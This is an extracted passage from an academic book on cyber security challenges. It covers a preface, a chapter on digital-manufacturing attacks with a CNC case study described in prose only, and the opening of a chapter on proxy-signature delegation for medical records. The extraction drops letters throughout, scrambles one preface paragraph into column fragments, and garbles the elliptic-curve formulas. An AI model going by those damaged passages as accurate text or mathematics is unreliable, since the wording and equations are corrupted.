


 
 

       

  
 

 

 

  

  

 

 

  
 

 
 

Cyber Security Threats and 
Challenges Facing Human Life 

Cyber Security Treats and Challenges Facing Human Life provides a comprehensive view of 
the issues, threats, and challenges that are faced in the cyber security domain. T is book 
ofers detailed analysis of efective countermeasures and mitigations. T e f nancial sector, 
healthcare, digital manufacturing, and social media are some of the important areas in 
which cyber-attacks are frequent and cause great harm. Hence, special emphasis is given 
to the study and analysis of cyber security challenges and countermeasures in those four 
important areas. 

KEY FEATURES 

• Discusses the prominence of cyber security in human life

• Discusses the signifcance of cyber security in the post-COVID-19 world

• Emphasizes the issues, challenges, and applications of cyber security mitigation
methods in business and dif erent sectors

• Provides comphrension of the impact of cyber security threats and challenges in
digital manufacturing and the internet of things environment

• Ofers understanding of the impact of big data breaches and future trends in data
security

 Tis book is primarily aimed at undergraduate students, graduate students, researchers, 
academicians, and professionals who are interested in exploring their research and 
knowledge in cyber security domain. 
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 Preface 

The last few decades have witnessed an exponential growth in t
net users. T is growth has been aided by the increase in internet 

in the cost associated with its usage. T e internet revolution has broug
online and the COVID-19 situation has only accentuated it further. 
like online f nancial services and social media, which have found the
tenance, because of the proliferation of the internet, have been success
people over the internet. Apart from this, new technologies have also b
high-speed internet revolution, like the internet of things and the in
things. 

 High-speed internet has also made it possible to bring the whole

he number of inter-
speed and decrease 
ht billions of people 
Many new sectors, 
ir genesis and sus-
ful in engaging the 
een born out of the 
dustrial internet of 

 ecosystem of gov-
ernance and government services online. Even the military and healthcare sectors have 
embraced the internet. An amalgamation of the internet of things and the healthcare sec-
tor has brought out wearable healthcare devices, which have been helpful in keeping track 
of the health of the people using them. 

Cyber security concerns due to advances in manufacturing practices, such as additive 
manufacturing, smart manufacturing, & the industrial internet of things, and additional 
security considerations required in product design, materials requirement planning, 
advanced manufacturing, process automation and intelligent machining are very impor-
tant facets and are afecting the human lives in many ways. 

 Tese have resulted in a very large volume of data being generated on a continuous basis, 
and further, there is constant sharing of information over the internet. Te internet, being 
a highly open and unsecured medium of communication, has attracted many miscreants 
with malicious intents. Tese miscreants have constantly tried to gain information and 
use it for malicious purposes. Tus, along with the exponential increase in the number of 
high-speed internet users, there has been an equally exponential rise in the cases of cyber-
attacks and cyber-crimes. In this context, cyber security is an important issue that requires 
detailed study and analysis. 

 Te importance of cyber security can be understood by the words of James Lewis,1 
who says, “Cyber espionage ranks frst as a threat to the United States and other devel-
oped countries.” He further claims that systems and humans are under attack and are 
facing further damage. Tis claim is evidenced by the frequency with which cyber security 
attacks have been witnessed by the US during the past decade. Tis establishes the awful 

1 https://www.govinfo.gov/content/pkg/CHRG-112hhrg77380/html/CHRG-112hhrg77380.htm 

vii

https://www.govinfo.gov


       

  
 
 

 

  

  
 

 

  
 

 
 

  
 

     
 

 

 
 

 

 
 

  
 

viii ◾ Preface 

necessity of implementing efcient cyber security practices in all of the dif erent domains 
afecting human life. 

Some of the high-impact sectors in the area of cyber security include the healthcare, 
banking, manufacturing and fnancial sectors. Apart from this, there are other sectors 
and areas that are vulnerable to cyber-attacks and require robust mitigation mechanisms 
in order to thwart such attacks. Even the 6LoWPAN network protocol, used for commu-
nication in the internet of things, is also highly vulnerable to cyber-attacks. T e concern 
and scope regarding the implementation of efcient cyber security practices have become 
graver in recent times due to exponential growth in information-related technologies, 
especially during the COVID-19 pandemic period. 

 Tis book addresses various aspects of increasing societal dependence in the world on 
information-related technologies. Te book aims to familiarize its readers with the rudi-
ments of cyber security issues and challenges. It also discusses the impact of cyber-attacks 
in various sectors, namely, education, healthcare, agriculture, manufacturing and f nance. 
At the same time, it presents various solutions, so that better cyber security practices may 
be implemented. Tus, this book discusses recent research trends and advanced topics in 
the feld of cyber security, which will be of interest to industry experts, academicians and 
researchers working in the area. 

 Te book provides a comprehensive view of the issues, threats, and challenges that are 
faced by the cyber security domain with detailed analyses of ef ective countermeasures 
and mitigation. T e fnancial sector, healthcare, manufacturing and social media are some 
of the important areas in which cyber-attacks are frequent and cause great harm. Hence, 
special emphasis is given to the planning, study, and analysis of cyber security challenges 
and countermeasures in these four important areas, apart from other sectors. 

Tis book is organized into various sections, so as to efciently organize the contents of 
this book. Te topics covered in this book range from fundamentals of cyber security to 
its necessity in various domains and this book presents recent advancements and research 
issues pertinent to the feld. Editors have thus aimed to cover the diversity in the domain, 
while achieving completeness. 

 Tis book contains 13 chapters, covering the security challenges and issues in sectors 
like healthcare, fnance, banking, military, manufacturing and social media, among oth-
ers. In the event of a cyber-attack, frst and foremost it has to be detected, so that intrusion 
detection systems can be used to detect the attack, ensuring that it is studied. T e securing 
of data is an important task, especially with the data being stored on the cloud. Hence, the 
security implications of cyber-attacks on big data, data breaches and secured data integra-
tion are also covered.

 Te security implications for the internet of things in the environment are also studied 
and presented. Security challenges faced during the COVID-19 pandemic by concerned 
people, when business and communication have been carried out outside of the secured 
space of the ofce network also need special attention and hence, these related studies are 
covered too. 
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C H A P T E R  1 

Cyber Security Challenges in 
Digital Manufacturing and 
Possible Ways of Mitigation 

Hari Vasudevan, Narendra M. Shekokar, 

Ramesh Rajguru, and Rajendra Khavekar 

CONTENTS 
1.1 Introduction 3 
1.2 Literature Review on Cyber Security in Digital Manufacturing 5 
1.3 Cyber Security Challenges in Manufacturing 7 
1.4 Case Study 7 

1.4.1 Details of Case Study: Alteration of Design Aspects and Process 
Parameters in the Operations Involving a CNC Machine 8 

1.5 Mitigation Approaches Suggested to Achieve Cyber Security 9 
1.6 Conclusion 11 
References 11 

1.1 INTRODUCTION 
In the era of globalized environment and technology acceleration, manufacturing indus-
tries in particular are under continuous pressure to improve their competitiveness and to 
excel over their competitors in the global market. Digitization or digital transformation 
in manufacturing industries (Industry 4.0 and smart factories) helps manufacturers to 
enhance their productivity, increase automation, streamline their manufacturing activi-
ties, and eliminate error-prone processes, because of the seamless connection of physical 
devices (interconnection of all machines) in industrial plants with the available IT infra-
structure. Te rise of cyber physical system manufacturing has led to digital industrial 
automation platforms due to the evolution of digital technologies, such as the industrial 
internet of things [22], cloud computing [23], edge computing [24], 5G communications 
[25], big data technologies, artifcial intelligence and machine learning [26], and block-
chain technologies [21]. However, new edge technologies introduce several cyber security 
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4 ◾ Cyber Security Threats and Challenges 

challenges in digital manufacturing [27]; hence, digital manufacturing should come up 
with strong security features for protecting operational technology and information 
technology. 

 Tese days, cyber threat actors target manufacturing industries more and more, such 
as automobile and steel production, because such industries give lower preference to secu-
rity as compared to an information technology setup. Digital technologies, such as sen-
sors, probes, and high-velocity hybrid data from connected devices (IoT), have made cyber 
security more complex. In advance manufacturing industries, sensor devices are the key 
element connected to various machines, which monitor the operation of the machine 
24/7. Real-time data collection from various machines transfer data to the control center 
for processing. Probes are basically used in digital metrology to measure highly precise 
dimensions. 

 Te digital manufacturing environment difers compared to classical manufactur-
ing due to an increasingly seamless connection between information technology and 
operational technology irrespective of time, distance, and place of operation. Cloud 
computing–based or industrial internet of things–based technologies in digital man-
ufacturing play an important role in improving the productivity and ef  ciency of a 
manufacturing system, for example, digital manufacturing technologies coupled with 
computer-aided engineering tools allow production engineers and design engineers to 
signifcantly accelerate the design and manufacturing phases of the product develop-
ment cycle. Due to poor segmentation between operational technology and informa-
tion technology, cyber-attacks can stem from the operational technology environment; 
the most common example of such attacks is spear phishing. Tis can be dealt with by 
safeguarding both the information technology and operational technology, allowing a 
continuous and safe workf ow. 

Cyber security aspects in digital manufacturing ultimately infuence the productivity of 
human resources, classical, and additive manufacturing processes and technology (infor-
mation, operational, and industrial networks) that are used in an organization. Cyber 
security also deals with putting the systems in place to ensure that the communication and 
the use of the technology are protected. Nowadays, cyber-attacks related to manufacturing 
domain–related incidents, such as operational disruptions and unauthorized access, have 
increased. As a result of these, the adverse fnancial impact on manufacturing industries is 
in the millions of dollars. According to a report by Accenture and the Ponemon Institute, 
the average cost of cyber-crime worldwide reached millions of dollars per organization in 
2017 [1]. Because of cyber-attacks, US manufacturing industries alone lost approximately 
US$240 billion in income and 42,220 jobs from 2002 to 2012. 

Per a recent report published by IBM, the average time required to identify a breach 
and the life cycle of a breach in 2020 were 207 days and 280 days, respectively [7]. Also, the 
average cost of a data breach in 2020 was US$3.86 million. Among the reported cyber secu-
rity incidents, over 80% of attacks are phishing attacks and US$17,700 are lost every minute 
due to these attacks [4]. An average of 5,200 cyber-attacks per month were experienced by 
IoT devices, and attacks on these devices tripled in the frst half of 2019 [4]. 



    

 
 

 

 

  

  
 
 
 
 
 
 

 
    

 

  
 

 
 

 
   

  

Security Challenges in Manufacturing  ◾ 5 

It is also observed from recently published research articles that four in ten manufac-
turers’ operations have been afected by a cyber-attack. For example, in December 2014, 
a German steel mill was hacked by spear phishing, resulting in massive damage in the 
factory. A blackout across western Ukraine due to a black energy spear-phishing malware 
attack ultimately placed human lives at risk. Nowadays, the extensive use of digital tech-
nologies in digital manufacturing and a swarm of new and growing cyber security threats 
have the information technology and operational technology security on high alert. Cyber-
attacks are continually becoming more and more sophisticated, involving phishing, mal-
ware, etc., and crypto currency has placed the huge digital data and assets of the industry 
at continuous risk. More devices are connected day by day to the internet of things, includ-
ing not only manufacturing equipment, laptops, tablets, connected automobiles, and wire-
less systems and sensors but also the more connected devices, such as routers, webcams, 
and smart watches, causing greater cyber risk. 

So far, in the present digital manufacturing industry, cyber-attacks in a cyber physical 
system environment have not been fully explored, but they have started to show poten-
tially disastrous consequences. Hence, this study aims to discuss the details about poten-
tial cyber-attacks in the design and manufacturing phases, the modus operandi of attacks, 
and also the consequences they can have on digital manufacturing systems. 

1.2  LITERATURE REVIEW ON CYBER SECURITY 
IN DIGITAL MANUFACTURING 

COVID-19 has forced many companies, including those in manufacturing, to move 
to having employees work remotely and to functioning off of cloud-based platforms. 
As a result of the increased bandwidth of 5G, connected devices like IoT are more 
connected than ever, resulting in greater vulnerability to cyber-attacks. According to 
a report, 95% of cyber security breaches are caused by human error. According to 
Gartner, the global information security market is forecast to reach US$170.7 billion 
by 2022. According to a report by Accenture, 68% of manufacturers feel their cyber 
security risks are increasing [1]. 

Jean-Paul Yaacoub et al.  identifed key issues and challenges of a cyber physical 
system (CPS) by reviewing the main CPS security threats, vulnerabilities, and attacks [8]. 
Additionally, they also discussed and analyzed recently available CPS security solutions 
(cryptographic and non-cryptographic solutions), identifed their limitations, and proposed 
several suggestions and recommendations with respect to various security aspects. Uchenna 
P. Daniel Ani et al. presented an insightful review of cyber security trends related to the 
threats, vulnerabilities to attacks and their patterns, risks, and the impacts of all of these 
on industrial critical infrastructure in manufacturing [18]. Tey recommended multifac-
eted security technology for securing industrial control system infrastructure. T eir study 
also helps to develop cyber security approaches using modeling techniques to help to miti-
gate the impact of cyber-attacks on industrial infrastructure in the manufacturing industry. 

Anqi Ren et al. identifed research gaps by reviewing the literature on vulnerability 
assessment and mitigation techniques for smart manufacturing [2]. Zach DeSmit et al. 
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discussed how game theory helps cyber physical manufacturing systems to identify a man-
ufacturer’s cyber vulnerabilities and to enhance security by considering various attack and 
defense scenarios to improve the efectiveness and efciency of security strategies [20].  
Also, they provided the foundation for future research on the application of game theory 
to cyber physical security. A study conducted by Priyanka Mahesh et al.  focused on cyber 
security of manufacturing unique elements of a digital supply network [13]. T ey devel-
oped an attack taxonomy, analyzed the cyber security risks, and proposed novel solutions 
for the digital manufacturing cyber physical system. 

Beyzanur Cayir Ervural and Bilal Ervural  investigated the concept of cyber security 
in the context of IoT by considering the requirements of cyber security, security threats, 
and vulnerabilities of IoT [3]. Tey pointed out that the future of cyber security strongly 
depends on emerging trends in technology related to IoT and big data, as well as the 
consideration of threat landscapes.  Siva Chaitanya Chaduvula et al.  discussed various 
security practices in digital felds, such as encryption and secret sharing, as well as in  
manufacturing felds, such as physical watermarking for anti-counterfeiting and tamper 
resistance purposes [17]. T ey identifed some research issues, such as context-based secu-
rity, threat modeling, honeypots, and distributed security, to achieve a secure product 
realization process. 

According to Vidosav Majstorovic et al., the cloud platform for cyber physical manufac-
turing is a new area of research in the digital manufacturing feld [19]. Tey contributed to the 
manufacturing metrology area of cyber physical manufacturing. Mingtao Wu et al. developed 
the frst cyber physical manufacturing test bed for intrusion detection and prevention inves-
tigations [10]. Cyber-manufacturing system security testbed integrates a vulnerable cyber 
environment with commonly used manufacturing equipment, along with various sensors 
and computer networks. Te test bed provides an environment for researchers to explore 
several cyber physical security problems and to generate benchmark data sets.  Mingtao Wu 
et al.  also suggested that new topics, such as wireless network security, can be incorporated 
into the test bed [10]. 

Jinwoo Song et al. (2020) addressed the insider threats in cyber manufacturing systems 
(CMSs). Tey developed a CMS test bed, which has a high potential for future study, as it 
can implement various insider threat scenarios under varied manufacturing practices and 
generate realistic data for future analysis.  Fei Chen et al.  demonstrated features on the basis 
of embedded surfaces (curvature and internal surfaces) to develop security features in the 
computer-aided design (CAD) fles to generate a high-quality product under a specif c set 
of standard tessellation language (STL) f les. Tey developed a security-oriented design 
philosophy by adding an additional layer of security [6]. 

Katariina Kannus and Hona Ilvonen  studied the prospects of cyber security in digital 
manufacturing using the Delphi method [9]. Tey found that IoT, digitalization, Industry 
4.0, and the security of industrial automation would be the most important drivers for the 
cyber security of the manufacturing industry in 2021. IoT and digitalization, identity 
and access management, the security of industrial automation, third-party cyber security 
management, and ensuring its availability are the most important cyber security issues 
concerning the manufacturing industry, whereas less important cyber security–related 
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topics are insider threat management, identity thef, measuring cyber security, workforce 
availability, and challenges in cooperation with authorities. Recent literature shows that 
many researchers have raised concerns regarding its cyber security aspects. With cyber-
attacks on the industrial internet of things or cloud computing–based manufacturing 
systems that alter digital fles (CAD, STL, etc.), attackers can manipulate physical charac-
teristics and mechanical properties or change the dimensions and shapes of parts, which 
could result in parts that fail in their intended applications. 

On the basis of careful analyses of the fndings of the literature discussed here, it has 
been concluded that cyber security strategies and approaches for new digital industrial 
technology need to be addressed before the technology becomes more widely adopted by 
manufacturing industries, such as Industry 4.0, smart factory, and future factories. Also, 
the identifcation of potential threats and vulnerability and assessment of the level of risk 
to the manufacturing system are important. Tere is a need to create awareness about the 
latest cyber-attacks and their novel defense techniques among small- and medium-scale 
industries through the demonstration of case studies on manufacturing processes. 

1.3 CYBER SECURITY CHALLENGES IN MANUFACTURING 
Manufacturers are increasingly under threat from cyber-actors. Tis is a real concern, 
because in today’s increasingly seamless and connected world, successful inf ltration by 
cyber-actors could shut down manufacturing processes or cause equipment to produce 
faulty products. Further, small- and medium-scale industries do not have established 
information technology and operational technology security practices to deal with cyber-
attacks. Contingency planning for future cyber threats is a big challenge in cyber security 
management. Recent literature also reports that data protection and security are the most 
quoted challenges in the application of digital manufacturing [12]. According to Peasley 
Saif and Perinkolam, the challenge for main industrial control systems is the need for 24/7 
availability of industry operations with no downtime and no disruptions [14]. T e security 
of cyber physical production systems in digital manufacturing is most important, because 
system downtime is highly expensive and the company sufers from losses of ef  ciency and 
revenue [16]. 

Cyber-hackers are trained and are ready with latest advanced techniques and ideas, 
and highly complex and novel attack methods could emerge in the future, whereas the 
speed of counterattack techniques may not match the speed of cyber-hackers. In the digital 
manufacturing sector, detection and reliable prevention techniques for complex worms 
and malware are still challenging issues. Another important aspect in cyber security is to 
secure industrial control systems with extensive expertise in total network security and 
ransomware protection. 

1.4 CASE STUDY 
A study of the extant literature has found that three-dimensional (3D) printing is strongly 
expected to continue to exist as an established manufacturing technology in the near future 
for smart factories or Industry 4.0. Components made from additive manufacturing pro-
cesses are being incorporated more and more into safety-critical products, such as metal 
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fight-critical parts in naval aircraf and a fuel injection nozzle used in the Airbus A320. 
Further, a review of the literature available on cyber security in digital manufacturing has 
revealed that most of the case studies discussed in research are related to cyber security in 
additive manufacturing [5]. Very few case studies related to subtractive manufacturing and 
cyber security have been reported in the literature so far by previous researchers. Further, 
cyber security issues concerned with additive manufacturing are unique and vary from 
those of subtractive manufacturing. Also, there is a signifcant overlap between additive 
manufacturing and subtractive manufacturing security-related issues. 

In light of this, the following case study was carried out to demonstrate the feasibility of 
cyber-attacks on subtractive manufacturing process, so as to understand cyber-attacks and 
their novel defense techniques. Further, identifcation of potential threats and vulnerability 
and assessment of the level of risk to the manufacturing system were also carried out. 

1.4.1  Details of Case Study: Alteration of Design Aspects and Process 
Parameters in the Operations Involving a CNC Machine 

A computer numerical control (CNC) machine is a programmable machine that is capable 
of autonomously performing step by step operations as per the operation commands with 
a very high level of accuracy. CNC machining involves manufacturing processes, which 
utilize computerized controls to operate and manipulate machine and cutting tools, so as 
to produce the work-piece into desired design parts. Te CNC machining process employs 
CAD, CAM, and CAE sofware to ensure the precision and accuracy of the product or 
machined components. CAD sofware is used to design and generate 3D models that are 
used by a CAM program to set the necessary machining, so as to create the component 
using the defned CNC machining processes. T e fow of the same is depicted in Figure 1.1. 

Cyber-attackers could modify process parameters of the manufacturing process, such 
as cutting speed, feed rate, and depth of cut, in the CNC program by gaining unauthor-
ized access to the machine and manufacturing system. Attackers also could modify part 
dimensions in CAD fles, leading to physical damage to CNC turning machines, product 
quality problems, etc. Tis may cause hazards to the safety and security of the machine 
operator as well. 

In the conventional machining process, only the external geometry of parts can be 
modifed during the operation. Detailed workfow of the subtractive CNC turning process 
is depicted in Figure 1.1. In this process, multiple attacks and targets are required for the 
hackers to obtain comparable information due to the division of data among numerous 
CNC turning machines and operators. In such a case, they would need to possess the data 
required to accomplish a specif c task. 

It is observed that there are various ways that cyber-attackers could cause destruction 
in the programs of a CNC machine afer gaining access to the information network of an 
unsecured CNC machine. Tey could gain access into a system that seems secure through 
faws in the sofware version or operating system. Tey could manipulate G-code and 
M-code to generate faulty parts without attracting the attention of the machinist, which 
would create vulnerability for the general public using them. Te attackers would also 
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want to infltrate a CNC machine tool to gain a competitive beneft by stealing conf dential 
and exclusive data. 

As per the taxonomy, the present study shows that the goal of the attack was to sabotage 
virtual CNC turning machine commands used for the production of machining compo-
nents. Te attack was to temper the design data and the target was the design f les. T is 
attack on the CNC turning machine was deliberately carried out by introducing the mis-
take into design data. Te controller PC connected to the CNC turning machine was 
misused by misrepresenting the design data. 

As a result, the attack produced a defective part on the machine. Tis attack was carried 
out in three stages: 

1. Compromising the controller PC 

2. Developing the wrong design data in the design f le 

3. Replacing the original design fle with the manipulated one 

A reverse shell back door was installed on the PC, which was employed to provide the 
jobs to the CNC turning machine. Tis permitted the pernicious sofware to take over the 
machine and execute commands by the hacker. Various defenses like authentication and 
fngerprinting were applied in such a scenario. Keeping the aspects involved in the current 
case study under consideration, the section following presents the mitigation approaches 
suggested to achieve cyber security in manufacturing. 

1.5  MITIGATION APPROACHES SUGGESTED TO ACHIEVE 
CYBER SECURITY 

Current advances in manufacturing technology based on a digitized approach include 
CAD/CAM/CIM, and therefore cyber security should be incorporated from the begin-
ning stages of a new cyber-dependent technology. However, no matter how much 
prevention-based technology has been improved, it seems that some people will always 
fnd a way to avoid and circumvent preventive measures. T erefore, for machining, 
three important elements of security and technology must be implemented: protection 
(access control, frewall, and encryption), prevention (audit log backup, intrusion detec-
tion system, and cryptographic key), and detection response (emergency response team 
and computer crime forensics). Further, best practices to keep the machine data secure 
are to create a complete security plan, use a virtual local area network for sensitive 
machines, use strong password practices, keep all computers up to date, and purchase 
a hardware f rewall.

 Te precision machining sector has invested in high-end CNC machines to increase 
higher levels of productivity. It is recommended that unsecured CNC machines, data exf l-
tration, poorly managed passwords, and no top-down commitment to cyber security are 
four risks that seriously deserve attention. Te impacts of a cyber-attack, such as production 
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FIGURE 1.1 Workfow of a subtractive CNC turning process. 

downtime, defective products, loss of intellectual property, physical damage, and even 
threats to life, could be overcome if manufacturers ensure network and sof ware updates 
that are current for all users, implement spam blockers, and install malware detection sof -
ware on all computers. 
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1.6 CONCLUSION 
Based on careful analyses of the fndings from literature, it can be concluded that cyber secu-
rity strategies and approaches for new digital industrial technology need to be addressed before 
the technology becomes more widely adopted by manufacturing industries. Also, the identif -
cation of potential threats and vulnerability and assessment of the level of risk to a particular 
manufacturing system are very important. Tere is a need to create awareness about the latest 
cyber-attacks and their novel defense techniques among small- and medium-scale industries 
through the demonstration of more and more case studies on manufacturing processes.

 Te future of cyber security in the manufacturing industry strongly depends on emerging 
trends in technology related to IoT, digitalization, Industry 4.0, and security of industrial 
automation. With cyber-attacks on computing-based manufacturing systems that alter digi-
tal f les (CAD, STL, etc.), attackers can manipulate physical characteristics and mechanical 
properties and change the dimensions and shapes of parts, which could result in parts that 
fail in their intended applications. Tese aspects are explained on the basis of a case study, 
namely, the alteration of design aspects and process parameters for a CNC machine. T is 
study also discusses various cyber security challenges and points out that data protection 
and security are the most quoted challenges in the application of digital manufacturing. T e 
security of cyber physical production systems in digital manufacturing is most important 
because their downtime is highly expensive and the company could sufer from losses of 
ef  ciency and revenue. 

In addition, various cyber-attacks on digital manufacturing have been analyzed in the 
study, and mitigation approaches have been suggested to achieve cyber security objectives. 
Every advanced manufacturing unit should be prepared to deal with cyber-attacks, so that 
they can act as fast as possible when under any type of an active cyber-attack to avoid its 
impacts, such as production downtime, defective products, loss of intellectual property, 
physical damage, and even safety threats to lives. Te study also mentions that, in preci-
sion machining, three elements of security technology, such as protection, prevention, and 
detection, plus response must be implemented as preventive measures. 
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C H A P T E R  2 

An Efficient Proxy Signature– 
Based Authority Delegation 
Scheme for Medical 
Cyber Physical Systems 

 

2.1 INTRODUCTION 
With the rapid growth of digitization technology in the healthcare domain, medical cyber 
physical systems (MCPSs) have become life critical service systems. With the advancement 
of technology and growth, Industry 4.0 has given rise to Healthcare 4.0. Such systems are 
increasingly being used by various healthcare service providers and hospitals to provide 
high-quality healthcare facilities [1, 2]. 

According to health and human services breach reports, on the darknet, personal health 
information is more important than credit card information [21]. Cyber criminals and attackers 
are receiving greater incentives for targeting medical databases. A recent report by McAfee 
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labs contests the claim that personal health information (PHI) is more valuable. Cyber 
security is becoming increasingly evident as a risk factor for health records. According to 
Becker’s Hospital Review, data breaches cost the health sector around $5.6 billion annually. 
According to the Workgroup for Electronic Data Interchange (WEDI), these attacks on 
electronic health records have become ever harder to detect, avoid, and mitigate [3–8]. 

In countries like India, the spread of the internet has reached the rural areas and people 
have become literate in operating mobile devices, but they still lack the proper medical 
help. Specialists are not available even during emergency times. Tis emerging area of 
medical cyber physical systems will be the solution of the future for such situations. 

 Te EHR data are apparently sensitive, and the safety of such data-sharing and -processing 
systems must be addressed. Medical data compromises may be devastating. Cloud-based ser-
vice providers may also be unreliable for several reasons. Any third-party provider can, on the 
one hand, be curious about breaching the confdentiality of data and using the data for mar-
keting or commercial purposes. Information security studies, on the other hand, have shown 
that end users will frequently use the same key over long periods of time, resulting in risks 
such as potential dictionaries attacking their cloud EHR data when keys are leaked. 

In EHRs, the data collected from a patient’s examination may range from monitored 
data like temperature and blood pressure to medical imaging data like X-rays and ECGs. 
A MCPS that can provide the interoperable mechanism to handle these data of varying 
natures and from diferent sources is required. Tere is no readily interoperable and accessi-
ble medical information generated from a MCPS, which makes it difcult to make decisions 
for the treatment of patients. Te course of treatment is usually based on the analysis and 
application of critical medical knowledge using these data. Te requirement for designing 
an efcient MCPS includes an efcient security system for handling EHRs. 

Long-term care for patients with chronic illness is always required. Te intermediate data 
storage on the cloud [17] of EHRs could help the entities involved to access the patient’s 
records and make the appropriate decisions. Te patient health records’ data privacy and 
authentication are a security concern when multiple entities are involved in the MCPS to 
access the health record information. 

Authorization of access to the data [18–20] in the EHR is identifed as one of the impor-
tant security requirements. Te entities involved in the system could be a chain of special-
ists from diferent domains, who will provide their opinion on the EHR received. A typical 
case study of the chain of specialist medical practitioners involved who require access to 
the health records of a patient with lung cancer, for example, might involve an oncologist, 
a pulmonologist, a thoracic surgeon, and a nephrologist. 

 Te specialist in one domain may refer to specialist doctor in another domain for his/her 
opinion on the basis of the spread of disease. To securely provide access to the records of 
patients along the treatment line, we propose a delegation-based signature scheme [9–10]. 
In the proposed system, each of the entities has his/her identity based on a digital signature 
key, which will be used for delegating the rights to the next entity. For example, as shown in 
Figure 2.1, the oncologist could securely provide the authorization to access and give his/ 
her opinion on the prescription, which further could be sent to the research center for data 
analysis and to decide on the course of action. 
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FIGURE 2.1 Medical cyber physical system with use of proxy signature. 

In the preceding case, the oncologist will prepare a proxy signature key pair and del-
egate his/her signing rights to the next specialist, who in turn will check the authenticity 
of the document received through warrant, provide his/her opinion, and securely sign the 
data using his/her proxy signature key. Te receiver, that is, the research institute, upon 
receiving the document will verify its authenticity using the public key. 

2.2 RELATED WORK 
MCPSs provide high-quality healthcare facilities. Along with the services and facilities, it 
also raises questions about the compromise of health records of patients. Te security and 
integrity of these records are a new challenge and a mission-critical activity. Cyber security 
attacks on health facilities directly afect people’s lives. 

In the literature, Qiu et al. [1] and Shekokar et al. [14] proposed a selective encryption and 
scattering method for data security and privacy, which makes them secure against key com-
promise at the cloud server level. Tis method is designed for trustworthy systems in which 
the user has access for data sharing in a controlled manner. Te novel, proxy-oriented, data 
integrity auditing scheme proposed by Xu et al. [2] prevents impersonation attacks and mis-
used delegation attacks. Xu et al. [4] proposed an n-th degree truncated polynomial ring units 
lattice-based, certifcate-less signature system. Tis system attains substantially reduced com-
putation and communication costs, while providing quantum attack resilience. 
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In their research work, Zhang et al. and Shekokar et al. [7, 15] proposed a cloud 
computing–based MCPS using elliptic curve cryptography (ECC). Te scheme is designed 
on the basis of an identity-based, proxy-oriented outsourcing scheme. In the proposed 
method, the original data owner must assign the proxy to the cloud-based MCPS for the 
uploading of medical signatures and appropriate encrypted medical data. Te medical data 
integration check can be carried out efectively by any trusted entity on behalf of the origi-
nal data owner; however, it is not required to recover all of the medical data. 

 Te scheme suggested by Patil and Devane [12] and by Bo and Yilin [13] for forward secu-
rity includes modifcations to the existing ELGamal signature scheme with time-evolving 
secret key generation through the Bellar-Miner scheme. Tis scheme prevents imperson-
ation and message forgery attacks. Te other schemes suggested by researchers for forward 
security include probabilistic encryption, signcryption, and proxy signcryption. 

2.2.1 Case Study 

 T e signifcant contributions of advancements in technology, specif cally sof ware-
controlled devices and the availability of network connectivity, have resulted in a signif -
cant transformation in medical treatment. Distributed medical devices can now be treated 
as networked devices, which can be useful for monitoring and controlling a patient’s physi-
ology. Te MCPSs have been developed with the goal to provide treatment to the patients 
through networked and sensing devices along with advanced treatment. 

 Te MCPSs also are helpful in discussing the treatment pattern with domain experts and 
medical researchers, as the system allows controlled sharing of the treatment information, 
as shown in Figure 2.2 : 

1. All session and proxy forward secure key generation is handled by a key distribution 
center (KDC). 

2. Specialist 1 requests a session key for delegation to specialist 2 for sending a warrant. 

3. KDC sends session key to specialist. 

4. Specialist 1 sends delegation request to specialist 2. 

5. Afer verifying the warrant, specialist 2 requests the proxy key generation from KDC. 

Scenario 1: Te treatment of critical illness like cancer at times requires opinions from dif-
ferent experts, depending upon on the spread of the disease. Certain rare, higher degree 
cancers, their treatment, and the observation of various parameters are major areas of con-
cern. Such patients are monitored regularly by their observatory team and the researchers. 
Controlled access of the EHR of such patients could be provided by delegating the rights of 
accessing the records to the chain of specialists in the EHR system. 

Delegation of accessing and modifying the contents of the prescription documents in the 
EHR is proposed using the proxy signature–based scheme. In the proposed scheme, we assume 
that EHRs of patients are stored in the medical cloud. In typical cancer treatment centers con-
nected to foreign medical research institutes, the patients are treated by the research institutes 
under the observation of specialists from multiple domains. Te specialists are required to 
give their observations on the patient’s condition and on his/her test records. Tere will be a 
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FIGURE 2.2 Case study depicting delegation of EHR. 

series of observations by multiple domain specialists, wherein they will provide their observa-
tions in a sequential manner, one afer the other. We are proposing a methodology of passing 
the signing rights to each of the specialists in the chain for the specifed duration, during 
which he/she can write his/her observation, digitally sign it, and forward it to the next special-
ist. Tis is referred to as authority delegation, which could be easily implemented by using a 
forward secure proxy signature scheme. In our proposed system, we are using ECC to take 
advantage in terms of reducing complex operations and usability on constrained devices. T e 
elliptic curve digital signature algorithm proposed reduces power consumption and provides 
an equal amount of security with a smaller key size compared to the other discrete logarith-
mic problem–based, asymmetric key signature schemes. 

2.3 FRAMEWORK FOR PROPOSED METHODOLOGY 
As represented in  Figure 2.3, a delegation-based signature scheme for securely passing 

the records could be useful for maintaining the authorization security of the medical cyber 
physical system. Te detailed steps are as follows: 

1. Original signing entity requests a session key with delegatee from KDC. 

2. Message encrypted by symmetric key shared by original signer and KDC, and the 
message to be forwarded to the delegator that is encrypted by the session key is sent 
to original signer. 
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FIGURE 2.3 Sequence diagram representing the fow of reports using a proxy signature scheme. 

3. Original signer forwards the encrypted part to the delegatee. 

4. Original signer sends encrypted message warrant and his/her identif cation (ID) 
information to the delegator by using a symmetric session key between originator 
and delegatee. 

5. Delegatee, afer verifying, accepts the warrant and forwards the warrant information 
to KDC for proxy key generation. 

6. KDC generates the proxy signature key encrypted with a symmetric key between 
KDC and delegatee. 

7. Delegatee A requests a session key for communication with delegatee B from KDC for 
role forwarding. 

8. KDC generates the session key between A and B and sends it in an encrypted manner. 

9. Te encrypted part of the content is forwarded to B. 
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10. The encrypted warrant message is sent by A to B. 

11. Aft er verification, delegatee B sends the warrant information to KDC for the formation 
of a forward secure delegation key. 

12. A forward secure key for the next time duration is created by KDC.

 The preceding system that is proposed using a proxy signature–based scheme for securely 
authorizing the EHR ensures the authenticity of the records received by the intermediar­
ies, and verifiers are able to easily audit the received data. In this proposed system, the key 
generation and distribution required for authorization are handled by a third party [16], 
thereby reducing the load on the MCPS. 

2.3.1 Algorithm for Role Delegation and Forwarding 
2.3.1.1 System Construction 
A secure ECC is set up with following steps.

 Finite fi eld Fq is a defined over a large prime number  q, with curve defi nition 

2 3 ( ) qE : y  = x  + ax + b where  a,b  eF 

3 2and  4 +a 27b  mod q= 0 

G is the generator point on the curve. Keys associated with specialist doctors and the proxy 
delegated doctors’ public and private keys are defined on an elliptic curve (EC) consider­
ing their identity information and defined as  (k ,KO  , p ), respectively, where  P iso ) (k ,KP
prescription and  h() is a hashing function. 

